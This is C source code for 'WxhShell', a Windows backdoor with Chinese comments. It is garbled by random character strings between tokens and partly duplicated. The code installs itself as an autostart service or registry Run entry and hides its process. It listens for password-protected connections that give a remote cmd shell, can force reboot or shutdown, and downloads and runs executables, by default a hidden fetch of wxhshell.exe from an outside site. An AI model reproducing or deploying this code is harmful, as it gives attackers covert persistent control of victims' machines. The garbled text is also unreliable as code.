Jq)U</ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /H)Br~ l g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +/y]h0aa NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A=X-;N# )xt4Wk/ if (!NtQueryInformationProcess) return 0; =X@o@1 =cn~BnowY hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0x ~`5h if(!hProcess) return 0; e:E# b~{ ah+j!e if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; PsbG|~ 2h q>T&8 CloseHandle(hProcess); x8\<qh*: /_*>d) hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m$:&P|!'p if(hProcess==NULL) return 0; X#ZgS!Mn 5)M2r!\ HMODULE hMod; Fw"$A0 char procName[255]; ~5 >[`) unsigned long cbNeeded; 55m<XC r~>,$[|n}) if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'N6 S}w7 $r79n- CloseHandle(hProcess); /oL8;:m K5`Rk"s if(strstr(procName,"services")) return 1; // 以服务启动 Jhy(x1%
10O$'` return 0; // 注册表启动 p3yU:q#A } 9$RIH\* ; )llt
G // 主模块 +pp9d-n int StartWxhshell(LPSTR lpCmdLine) CVQB"L { _kN*e:t SOCKET wsl; W&C-/O,m
BOOL val=TRUE; NY!jwb@% int port=0; fu]N""~ struct sockaddr_in door; ipjkZG@ 3Aj*\e0t if(wscfg.ws_autoins) Install(); o`6|ba .'d2J> ~N port=atoi(lpCmdLine); 3n48 %5 }ZzLs/v%X if(port<=0) port=wscfg.ws_port; u|fXP)>. ]db@RbaH WSADATA data; 5<+KR.W if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; K5k?H h{_*oBa if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 0m)&YFZ[( setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Qf@iU%G door.sin_family = AF_INET; f$F*3 door.sin_addr.s_addr = inet_addr("127.0.0.1");
'Cc(3 door.sin_port = htons(port); d8OL!Rk f /y` if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DWm SC}{. closesocket(wsl); n:4uA`Vg return 1; >]?H`>4( } |W7rr1]~S _0(7GE13p if(listen(wsl,2) == INVALID_SOCKET) { b{5K2k&, closesocket(wsl); -JV~[-, return 1; p]ivf } GEe`ZhG,
Wxhshell(wsl); J/ W{/E>; WSACleanup(); >NM\TLET~ Bs!4H2@{(] return 0; FxRXPt
FK r;gP}H ? } |d}MxS`^ 2UadV_s+s // 以NT服务方式启动 _MfD VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k
\qiF|B)Z { 1-VT}J( DWORD status = 0; fly,-$K>LO DWORD specificError = 0xfffffff; 2R.2D'4)` UVEz;<5@\ serviceStatus.dwServiceType = SERVICE_WIN32; 'C>U=cE7 serviceStatus.dwCurrentState = SERVICE_START_PENDING; ^p=L\SJ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; KQ`=t serviceStatus.dwWin32ExitCode = 0; ||eAE) serviceStatus.dwServiceSpecificExitCode = 0; M+xdHBg serviceStatus.dwCheckPoint = 0; `G$1n#& serviceStatus.dwWaitHint = 0; BfmsMW k\7:{y@, hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )=^w3y if (hServiceStatusHandle==0) return; }!s!;BOx DQXS$uBT status = GetLastError(); Q-eCHr) if (status!=NO_ERROR) g,kzQ}_ { uT_!'l$fr serviceStatus.dwCurrentState = SERVICE_STOPPED;
!#x= JX serviceStatus.dwCheckPoint = 0; !GK$[9 serviceStatus.dwWaitHint = 0; {`"#yl6" serviceStatus.dwWin32ExitCode = status; Hs(D/&6% serviceStatus.dwServiceSpecificExitCode = specificError; m~`>`4 SetServiceStatus(hServiceStatusHandle, &serviceStatus); - u3e5gW return; )TmtSSS } >-)h|w i %[QV,fD'E serviceStatus.dwCurrentState = SERVICE_RUNNING; }e]f serviceStatus.dwCheckPoint = 0; 39TT{>?`w serviceStatus.dwWaitHint = 0; O'DW5hBL0 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lU2c_4 } 7;}l\VXHm o>lmst%< // 处理NT服务事件,比如:启动、停止 yTBS=+X VOID WINAPI NTServiceHandler(DWORD fdwControl) 2eP;[o { l{WjDed switch(fdwControl) Oejq@iM"( { , c;eN case SERVICE_CONTROL_STOP: \nvAa_, serviceStatus.dwWin32ExitCode = 0; {]}s#vvy serviceStatus.dwCurrentState = SERVICE_STOPPED; @QEqB_W serviceStatus.dwCheckPoint = 0; 0pgY1i7 serviceStatus.dwWaitHint = 0; 53OJ-m%a { V'gw\mcb SetServiceStatus(hServiceStatusHandle, &serviceStatus); pchBvly+0 } s(2GFc return; -9Ws=r0R case SERVICE_CONTROL_PAUSE: &h~aChJ serviceStatus.dwCurrentState = SERVICE_PAUSED; MXvXVhCU break; ~H /2R case SERVICE_CONTROL_CONTINUE: +M\8>/0oA serviceStatus.dwCurrentState = SERVICE_RUNNING; k9si|' break; e [0w5)X
case SERVICE_CONTROL_INTERROGATE: Ff4*IOZ}( break; C !x/
^gw }; E^Gg
'1 SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?.bnIwQe } <,1fkq>, C;rG]t^% // 标准应用程序主函数 KFWJ}pNq int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +a+`Z>
{ Ob<W/-%5tH W{"XJt_ // 获取操作系统版本 ) g1a'G OsIsNt=GetOsVer(); 3Rv7Qx GetModuleFileName(NULL,ExeFile,MAX_PATH); x4K`]Fvhl }IkQA#4$ // 从命令行安装 HZ"Evl|n if(strpbrk(lpCmdLine,"iI")) Install(); f-RK,#^?, E;(Rm>lB // 下载执行文件 &Ral+J if(wscfg.ws_downexe) { ;?L\Fz(< if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Tupiq WinExec(wscfg.ws_filenam,SW_HIDE); (Xxn\*S } n&XGBwgW Qvoqx>2p5 if(!OsIsNt) { g"8 .}1)~r // 如果时win9x,隐藏进程并且设置为注册表启动 0~gO'*2P HideProc(); i%{X9!*%TX StartWxhshell(lpCmdLine); .p6+l!" } 9s$U%F6} else &eZfQ27$ if(StartFromService()) 1cJsj // 以服务方式启动 }iN2KeLAF StartServiceCtrlDispatcher(DispatchTable); i6PM<X,{; else NX6nQ // 普通方式启动 ' [0AHM StartWxhshell(lpCmdLine); d]v+mVAyE /Wj,1WX~ return 0; m6n!rRQ^U } K\.5h4k $p* p =[tSd)D,y 2 h|e =========================================== H=MCjh&$q =_TaA(79 %1U`@0 9}tG\0tL* h8 @ @9G- m(?* " df*w>xS RuRt0Sd3 #include <stdio.h> f"5g>[1 #include <string.h> +Ezgn/bS& #include <windows.h> JWO=!^ #include <winsock2.h> $.mQ7XDA9 #include <winsvc.h> ?/#}ZZK^ #include <urlmon.h> S 01wwZ N=1JhjVk" #pragma comment (lib, "Ws2_32.lib") tykB.2f #pragma comment (lib, "urlmon.lib") FH5ql~ .m4;^S2cO #define MAX_USER 100 // 最大客户端连接数 [w\?j, #define BUF_SOCK 200 // sock buffer f|7u_f #define KEY_BUFF 255 // 输入 buffer C*6S@4k !Jfs?Hy #define REBOOT 0 // 重启 {{yt*7k { #define SHUTDOWN 1 // 关机 Owv+1+B YoODR #define DEF_PORT 5000 // 监听端口 QL7>;t; Hgc=M #define REG_LEN 16 // 注册表键长度 Oxx^[ju~ #define SVC_LEN 80 // NT服务名长度 ,w)p"[^b ,d,\-x-+/ // 从dll定义API f^Bc typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dfj\RIV8 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9l/EjF^ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); gQWd&)'muf typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hq>Csj==@ g=)J~1&p // wxhshell配置信息 <g2_6C\j struct WSCFG { %g"eV4j int ws_port; // 监听端口 "dh:-x6 char ws_passstr[REG_LEN]; // 口令 )hKS0`$| int ws_autoins; // 安装标记, 1=yes 0=no }OShT+xeX char ws_regname[REG_LEN]; // 注册表键名 j8 ,n7!G char ws_svcname[REG_LEN]; // 服务名 >um!Eo char ws_svcdisp[SVC_LEN]; // 服务显示名 V L( < char ws_svcdesc[SVC_LEN]; // 服务描述信息 V,7%1TZ: char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mz7l'4']+ int ws_downexe; // 下载执行标记, 1=yes 0=no wwd'0P`/ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Kf,-4) char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ni CE\B~ 4g
_"ku }; Lm)\Z P+W 5 MxL*DB=b // default Wxhshell configuration @$@mqHI} struct WSCFG wscfg={DEF_PORT, %,*$D}H "xuhuanlingzhe", 3NK ^AaTK 1, q`|CrOzO "Wxhshell", < a rZbM "Wxhshell", &x:JD1T} "WxhShell Service", ztM<J+ "Wrsky Windows CmdShell Service",
:S
%lv "Please Input Your Password: ", ;."<m 1, WT3gNNx| "http://www.wrsky.com/wxhshell.exe", ),^eA "Wxhshell.exe" 6iezLG5 }; PFSLyV* W=}Okq)x9I // 消息定义模块 /!FWuRe^ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h5%|meZQb char *msg_ws_prompt="\n\r? for help\n\r#>"; .5HQ
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <!^
[~` char *msg_ws_ext="\n\rExit."; cSP*f0n,eo char *msg_ws_end="\n\rQuit."; y7u^zH6wj char *msg_ws_boot="\n\rReboot..."; >R^@Ww;|q char *msg_ws_poff="\n\rShutdown..."; MLVB^<qkeH char *msg_ws_down="\n\rSave to "; j#A%q"]8 US&B!Q:v char *msg_ws_err="\n\rErr!"; 5CYo7mJ6+ char *msg_ws_ok="\n\rOK!"; 43:t
\ V-O(U*] char ExeFile[MAX_PATH]; CX/(o] int nUser = 0; D}mL7d1 HANDLE handles[MAX_USER];
&wH:aD int OsIsNt; QOFvsJ<s H:&?ha,9 SERVICE_STATUS serviceStatus; "`tXA SERVICE_STATUS_HANDLE hServiceStatusHandle; 0Dv JZ|e !-]C;9Zd // 函数声明 ~XM[>M\qB int Install(void); 8}p8r|d!ls int Uninstall(void); <EX7WA int DownloadFile(char *sURL, SOCKET wsh); |(IO=V4P int Boot(int flag); 0OZ Mlt%z void HideProc(void); LC69td& int GetOsVer(void); w:=V@-S8 int Wxhshell(SOCKET wsl); (-yl|NFBw void TalkWithClient(void *cs); [W,|kDK int CmdShell(SOCKET sock); GUp;AoQ int StartFromService(void); HZJL/=; int StartWxhshell(LPSTR lpCmdLine); =C7
khE pgc3jP! VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &K%aw VOID WINAPI NTServiceHandler( DWORD fdwControl ); @M;(K<%h [uuj?Rbd // 数据结构和表定义 s'I)A^i+ SERVICE_TABLE_ENTRY DispatchTable[] = V-W'RunnW { L^Wz vv] {wscfg.ws_svcname, NTServiceMain}, &V=7D# L {NULL, NULL} 6DF }; >wON\N0V_ -e -e9uP // 自我安装 W.}].7}h int Install(void) 9t:] { t1]6(@mj5 char svExeFile[MAX_PATH]; qk{'!Ii HKEY key; %HuyK strcpy(svExeFile,ExeFile); f4t.f*# Un=a
fX?j // 如果是win9x系统,修改注册表设为自启动 +Ghi}v if(!OsIsNt) { r#876.JK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w<wV]F* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `^F: - RegCloseKey(key); _2Zp1h, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |H)cuZ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _GaJXWMbk RegCloseKey(key); +c,[ Q return 0; ETw]!
br } t%0?N<9YkU } I*)VZW } >9K//co"of else { n]? WCG}cd S q@H // 如果是NT以上系统,安装为系统服务 w<nv!e? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); kyUl{Zj if (schSCManager!=0) ISqfU]>[ { $ @1u+w SC_HANDLE schService = CreateService jZ9[=? ( lu\o`m5wF schSCManager, Iin#Wd-/ wscfg.ws_svcname, b{[*N wscfg.ws_svcdisp, 4SVW/Zl.? SERVICE_ALL_ACCESS, yyl#{Nl@t SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , QJX/7RA SERVICE_AUTO_START, Cnh|D^{s SERVICE_ERROR_NORMAL, ~9M!)\~ svExeFile, MiGcA EF; NULL, n'w,n1z7 NULL, @'jfKW NULL, "~+.Af NULL, )C]x?R([m NULL <e"J4gZf& ); z/|BH^Vw if (schService!=0) w9~k]5 { RI.2F*| CloseServiceHandle(schService); bH9Le CloseServiceHandle(schSCManager); 6].:.b\qQc strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R, 0Oq5 strcat(svExeFile,wscfg.ws_svcname); $Xf (^K if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { G2Qjoe`Uc RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); DZ`k[Z.VZ RegCloseKey(key); =Viy^ieN$ return 0; V|?WF& } mUXk9X%n } sg?@qc=g CloseServiceHandle(schSCManager);
ZXXiL#^ } #uvJH8)D } "dCzWFet L]bVN)JU return 1; <0j{ $. } Ol+Kp!ocY pM$ @m] // 自我卸载 @p!Q1-] = int Uninstall(void) X>,A { #BJ\{"b_}z HKEY key; ,)#.a%EKA zY
APf &5 if(!OsIsNt) { /6tcSg) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3'#%c>_ RegDeleteValue(key,wscfg.ws_regname); 8 njuDl RegCloseKey(key); X#J6Umutm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \ lr/;-zP RegDeleteValue(key,wscfg.ws_regname); __\P`S_ RegCloseKey(key); h7W}OF_=y return 0; 3E|;r
_;
8 } Wc4vCVw } wq\G|/% } \r-N(;m else { U ":"geU SGf9U^ds SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); P;U@y"s if (schSCManager!=0) >4)g4~'n! { Rt4di^v SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); KTmaglgp if (schService!=0) \qq-smcM- { z,Xk\@ if(DeleteService(schService)!=0) { 5si}i'in CloseServiceHandle(schService); 7'.s7&
'7 CloseServiceHandle(schSCManager); %C*^:\y return 0; gGbI3^r# } PrnrXl
S CloseServiceHandle(schService); n`<S&KP| } eV;me>, CloseServiceHandle(schSCManager); G11cNr>* } 2ksA.,UB^9 } )Vk:YL++ qi\n] I return 1; rO^xz7K^ } 2%YXc|gGT DrS?=C@ // 从指定url下载文件 ^, wnp@ int DownloadFile(char *sURL, SOCKET wsh) m5gI~1(9 { Oxa5Kfpa HRESULT hr; el*9 Ih char seps[]= "/"; ua#K>sur. char *token;
`]>on`n? char *file; VO -784I char myURL[MAX_PATH]; qZsnd7o{l. char myFILE[MAX_PATH]; VkXn8J ~CFMIQ et strcpy(myURL,sURL); Bz:0L1@,4a token=strtok(myURL,seps); K%2I while(token!=NULL) NsmVd dj { ,"H?hFQ file=token; <!!nI%NC token=strtok(NULL,seps); r$DZkMue } BE4\U_]a3 NbDda/7ki GetCurrentDirectory(MAX_PATH,myFILE); yWuIu>VJ strcat(myFILE, "\\"); 6/7F">@j strcat(myFILE, file); jtLnj@, send(wsh,myFILE,strlen(myFILE),0); ^pw7o6} send(wsh,"...",3,0); =uc^433. hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ha>SZnKD{ if(hr==S_OK) <9N4"d!A return 0; IUawdB5CB else ,.7vBt6 p return 1; !E0fGh MPG+B/P& } g RU-g gV`S% // 系统电源模块 <G9<"{ int Boot(int flag) pn*d[M|k {
2}!R
T HANDLE hToken; iiN?\OO^~ TOKEN_PRIVILEGES tkp; sL
mW\\kA> bL
MkPty if(OsIsNt) { -x?Hj/ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D(@SnI+ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \E&th p tkp.PrivilegeCount = 1; Zh? V,39 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .h6Y<
E AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wRi~Yb? if(flag==REBOOT) { [oJ& J>U' if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) JU2P%3 return 0; VO|u8Z" } `D"1
gD}{A else { QX+Y(P`vMK if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "i(U return 0; *vD/(&pQ1: } E6Q91Wz9f } QRiF!D)Nk else { 5 iv@@1c if(flag==REBOOT) { `.`FgaJ
| if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4K'|DO|dH return 0; ZmP1C`> } o{g@Nk'f else { VLx T"]f if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) iz(m3k:w return 0; .W-=x,`hY4 } pKYLAt+^> } *V<)p%l. 3l+|&q[v return 1; 0@w&J9yG } -BjEL; /t5g"n3 // win9x进程隐藏模块 d}pGeU' void HideProc(void) qs "s/$ { 9QZ}Hn`p WQTendS HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 63SVIc~wT if ( hKernel != NULL ) V"BVvSNu {
+Bn?-{h= pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KG-UW ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I,w^?o FreeLibrary(hKernel); dkETM, } W*3o|x Ipg\9*c` return; ym[+Rw } ,A^L=+ 9M;I$_U`vj // 获取操作系统版本 {#0Tl int GetOsVer(void) % hNn%Oy:E { <w;D$l}u OSVERSIONINFO winfo; L#[HnsLp_ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); EI<"DB GetVersionEx(&winfo); R:BBF9sK? if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) KZi+j#7O return 1; H]U"+52h else @ljZw( return 0; U:J /\- } ZIDFF D.
77WjwQ // 客户端句柄模块 F6~b#Jz&i int Wxhshell(SOCKET wsl) F61+n!%8 { 7Y4%R`9H SOCKET wsh; p-a]"l+L struct sockaddr_in client; _pJX1_vD DWORD myID; fO0-N>W'P *P&OxVz while(nUser<MAX_USER) ?Z5$0-g'hU { uAC hu] int nSize=sizeof(client); MG;4M>H wsh=accept(wsl,(struct sockaddr *)&client,&nSize); IM$'J if(wsh==INVALID_SOCKET) return 1; LxIuxt=X|p 7jhl0 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T3 =)F% if(handles[nUser]==0) o:h)~[n| closesocket(wsh); byp.V_a}/ else W5TqC nUser++; #cR57=M} } twAw01". WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); p0"BO4({{ U9bFUK/z return 0; kVy"+ZebK } FW/6{tm 1a \=0=[ // 关闭 socket K,Lr+ void CloseIt(SOCKET wsh) oC5gME"2 { N45s'rF closesocket(wsh); OX'/?B(( nUser--; hU |LFjc ExitThread(0); }o~Tw?z-| } )kFme=; ))c*_n // 客户端请求句柄 :Xb*m85y void TalkWithClient(void *cs) :/ ~):tM { v\J!yz 9c#L{in SOCKET wsh=(SOCKET)cs; D-;J;m
\ char pwd[SVC_LEN]; AviT+^7E char cmd[KEY_BUFF]; Kv(Y } char chr[1]; M|5^':Y int i,j; ^w.k^U=B SZNFE while (nUser < MAX_USER) { ER0TY, }Ox2olUX if(wscfg.ws_passstr) { Z`e$~n(Bh if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ':5U& //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tW'qO:y+ //ZeroMemory(pwd,KEY_BUFF); IO?~b X P i=0; ,"4X&>_f while(i<SVC_LEN) { b=6ZdN1 fJ,8g/f8 // 设置超时 8f5%xY$ fd_set FdRead; 5;r({J struct timeval TimeOut; A{xSbbDk
FD_ZERO(&FdRead); y}s
0J K FD_SET(wsh,&FdRead); O%rS;o TimeOut.tv_sec=8; :==UDVP TimeOut.tv_usec=0; lsTe*Od int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7N&3FER if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); '5&B~ 1& Ut0qrkqF if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 37GHt9l pwd=chr[0]; &QiAM`MbC= if(chr[0]==0xd || chr[0]==0xa) { ]IN- pwd=0; hg)!m\g break; n:%'{}Jw } +z{x 7 i++; ."$= } BN bb&] p8E;[ // 如果是非法用户,关闭 socket kW*W4{Fth if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3?-V>-[G_ } LWp?U!N LGdf_M-f send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x`&P}4v0 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hfVzzVX: bYRQI=gW': while(1) { FuRn%)DA5 NpjsZcA ZeroMemory(cmd,KEY_BUFF); Br?++\ ~cWLu5 // 自动支持客户端 telnet标准 Pj^k
pjV j=0; ]}*G[[
^p while(j<KEY_BUFF) { +LvZ87O^~ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SV$ASs cmd[j]=chr[0]; < :S?t2C if(chr[0]==0xa || chr[0]==0xd) { r)*_,Fo| cmd[j]=0; 3@#,i<ge : break; C 6:p Y- } <ZN)
/,4PS j++; x %!OP\ } &QHA_+88W m"ki*9] // 下载文件 [m@e^6F0U if(strstr(cmd,"http://")) { 6M2i?c send(wsh,msg_ws_down,strlen(msg_ws_down),0); {ILQ
CvP* if(DownloadFile(cmd,wsh)) aG8;,H=%, send(wsh,msg_ws_err,strlen(msg_ws_err),0); cfF-e93T else o
F,R@f send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l% 3Q=c } }sm56}_ else { `^@g2c+d 4%Wn}@ switch(cmd[0]) { h_}BmJ h_ ?7uStqa // 帮助 YV>VA<c case '?': { ce-m)o/ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); IT{.^rP break; iKCTYXN1( } .,(uoK{ // 安装 S
-mz xj case 'i': { %[31ZFYB if(Install()) o
Q!g!xz send(wsh,msg_ws_err,strlen(msg_ws_err),0); uc{Qhw!;: else 7kew/8- send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }@t'rK[ break; i(TDJ@} } tI6USN% // 卸载 }G0.Lq+a case 'r': { {mq$W if(Uninstall()) jTxChR send(wsh,msg_ws_err,strlen(msg_ws_err),0); A/W7;D else {e!uvz,e send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^Xz`hR break; 67hPQ/S1 } AF{7<v>/P // 显示 wxhshell 所在路径 DdA}A>47 case 'p': { [sh"? char svExeFile[MAX_PATH]; c&iK+qvh{ strcpy(svExeFile,"\n\r"); 4FP~+ strcat(svExeFile,ExeFile); |'>E};D send(wsh,svExeFile,strlen(svExeFile),0); R2Fh^x break; clU3#8P!= } 9jJ/ RX p // 重启 JCMEhI6d* case 'b': { >@92K]J send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w1/T>o if(Boot(REBOOT)) MsVI <+JZ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?5+KHG*) else { GF,|;)ly closesocket(wsh); g{f>jd ExitThread(0); [OToz~=) } HZ`G)1&) break; qS`|=5f } F(kRAe; // 关机 26klW:2* case 'd': { "vHAp55B{ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W YqL if(Boot(SHUTDOWN)) M`,Z#)Af send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3Tte8]0 else { M5bj |tQ4 closesocket(wsh); 113x9+w[ ExitThread(0); , $F0D } X
+ break; pkMON}"mj } I3y4O^? // 获取shell Bjrv;)XH case 's': { $5p'+bE CmdShell(wsh); oVZ8p- closesocket(wsh); @nW(KF ExitThread(0);
i{x0#6_Y break; E)Epr&9S } WoT z' // 退出 FT?1Q' case 'x': { IgnY*2FT send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7Mbt*[n CloseIt(wsh); >rX R;4% break; SbNU X } @ %B!$\] // 离开 _nCs$U case 'q': { j`&i4K: send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^Ypx|-Vu! closesocket(wsh); C36.UZoc WSACleanup(); aGkVC*T exit(1); 1H@rNam& break; )jZ=/xG } wjGjVTtHs } HC`3AQ12!& } ,(Hmk(, .2- JV0 // 提示信息 8@*|T?r if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9^h%}> } VX@G}3Ck } -{sv3|P> NqfDY
return; *"bp}3$^^ } Y{:/vOj = 8e8!8 // shell模块句柄 T7_ SO,X int CmdShell(SOCKET sock) cNB$g )` { $Lbe5d?\ STARTUPINFO si; 8qLgB
ZeroMemory(&si,sizeof(si)); _+Kt=;Y8 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >u[1v si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $%"}N_M PROCESS_INFORMATION ProcessInfo; N5_.m(: char cmdline[]="cmd"; 6&Ir0K/ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q]'!FmXf return 0; }EG(!)u } p5rRhu/|k3 4E(5Ccb // 自身启动模式 \@t5S int StartFromService(void) "$V2 $ { -ZON']|<}k typedef struct hd
BC ^n { A0k>Nb\c3 DWORD ExitStatus; g>-[-z$E3 DWORD PebBaseAddress; *^5,7}9Qo DWORD AffinityMask; xa*gQ%+F DWORD BasePriority; nAC#_\ ULONG UniqueProcessId; ASU\O3%% ULONG InheritedFromUniqueProcessId; `GWq3c5 } PROCESS_BASIC_INFORMATION; >^ar$T;Ys R}26 "+~ PROCNTQSIP NtQueryInformationProcess; -Dm.z16 D;n%sRq(Z static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1iW9?=a" static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >Ga1p'8FtU ymCIk/\ HANDLE hProcess; ~J{{n_G{ PROCESS_BASIC_INFORMATION pbi; H?^#zj`Ex+ V-r<v1}M HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~,1q :Kue if(NULL == hInst ) return 0; 6EWB3.x19 {EN@,3bA g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0>MI*fnY" g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N6 8>` NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "kg$s5o JB_`lefW,' if (!NtQueryInformationProcess) return 0; @h,$&=HY ~8{3Fc 0 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bD-Em#> if(!hProcess) return 0; <\EfG:e 0l@+xS; if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; lM%fgyX -B(K Q T,J CloseHandle(hProcess); >D#}B1(! i?=.;
0[| hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rB?cm]G= if(hProcess==NULL) return 0; kweTK]mT B9-[wg#0G HMODULE hMod; {\zr_v`g char procName[255]; 9iNns;^`q unsigned long cbNeeded; F
